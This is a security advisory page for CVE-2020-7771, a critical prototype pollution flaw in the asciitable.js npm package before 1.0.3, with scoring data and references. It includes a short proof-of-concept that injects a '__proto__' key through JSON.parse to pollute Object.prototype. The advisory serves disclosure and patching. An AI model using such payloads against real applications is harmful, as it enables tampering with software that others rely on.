Ecosyste.ms: Advisories

Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTVweGotbWh3ai14NWd2

Prototype Pollution in asciitable.js

The package asciitable.js before 1.0.3 is vulnerable to Prototype Pollution via the main function.

PoC

var a = require("asciitable.js"); 
var b = JSON.parse('{"__proto__":{"test":123}}'); 
a({},b); 
console.log({}.test)

Permalink: https://github.com/advisories/GHSA-5pxj-mhwj-x5gv
JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTVweGotbWh3ai14NWd2
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Critical
Classification: General
Published: almost 4 years ago
Updated: over 1 year ago

CVSS Score: 9.8
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS Percentage: 0.00819
EPSS Percentile: 0.8164

Identifiers: GHSA-5pxj-mhwj-x5gv, CVE-2020-7771
References:

• https://nvd.nist.gov/vuln/detail/CVE-2020-7771
• https://github.com/victornpb/asciitable.js/pull/1
• https://snyk.io/vuln/SNYK-JS-ASCIITABLEJS-1039799
• https://github.com/victornpb/asciitable.js/commit/8db8fc5ffa7a2a6e8596709d99b200afb53f40ab
• https://github.com/advisories/GHSA-5pxj-mhwj-x5gv

Repository: https://github.com/victornpb/asciitable.js
Blast Radius: 10.2

Affected Packages